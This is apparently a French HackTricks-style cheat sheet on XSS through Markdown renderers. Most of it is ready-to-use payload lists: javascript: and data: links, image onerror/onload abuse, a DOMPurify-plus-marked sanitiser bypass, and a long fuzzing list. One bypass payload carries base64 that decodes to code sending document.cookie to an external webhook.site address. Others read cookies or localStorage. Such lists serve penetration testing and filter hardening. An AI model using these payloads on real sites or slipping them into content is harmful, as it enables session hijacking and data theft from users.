XSS dans Markdown

Reading time: 6 minutes

Si vous avez la possibilité d'injecter du code dans markdown, il existe quelques options que vous pouvez utiliser pour déclencher un XSS lorsque le code est interprété.

Balises HTML

La manière la plus courante d'obtenir un XSS dans markdown est d'injecter des balises HTML courantes qui exécutent du javascript, car plusieurs interprètes markdown accepteront également le HTML.

<!-- XSS with regular tags -->
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />

Vous pouvez trouver plus d'exemples dans la main XSS page of hacktricks.

Liens Javascript

Si les balises HTML ne sont pas une option, vous pouvez toujours essayer de jouer avec la syntaxe markdown :

<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))

<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic')) [Local
Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL')) [In
Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

Abus de la syntaxe des événements Img

![Uh oh...](<"onerror="alert('XSS')>)
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
![Escape SRC - onerror](<"onerror="alert('ImageOnError')>)

HTML Sanitiser Markdown Bypass

Le code suivant sanitise l'entrée HTML puis la passe au parseur markdown, ensuite, le XSS peut être déclenché en abusant des mauvaises interprétations entre Markdown et DOMPurify.

<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search)
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(
DOMPurify.sanitize(qs.get("content"))
)
}
</script>

Exemple de payloads :

<div
id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
-----------------------------------------------
<a
title="a

<img src=x onerror=alert(1)>"
>yep</a
>
------------------------------------------------ [x](y '<style>
')<!--
</style>
<div id="x--><img src=1 onerror=alert(1)>"></div>
---------------------------------------------- [
<p
x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#"></p>
) ---------------------------------------------- `
<p x="`<img src=x onerror=alert(1)>"></p>
</div>

Fuzzing

<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
-->

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<javascript:alert('XSS')>
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](
javascript:alert(document.domain&#41;)
[a](javascript://www.google.com%0Aalert(1))
[a]('javascript:alert("1")')
[a](JaVaScRiPt:alert(1))
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)
[XSS](javascript:prompt(document.cookie))
[XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](javascript:alert('XSS'))
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1&#41;)
[XSS](javascript&#58this;alert(1&#41;)
[XSS](Javas&#99;ript:alert(1&#41;)
[XSS](Javas%26%2399;ript:alert(1&#41;)
[XSS](javascript:alert&#65534;(1&#41;)
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](�javascript:alert(document.domain&#41;)
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\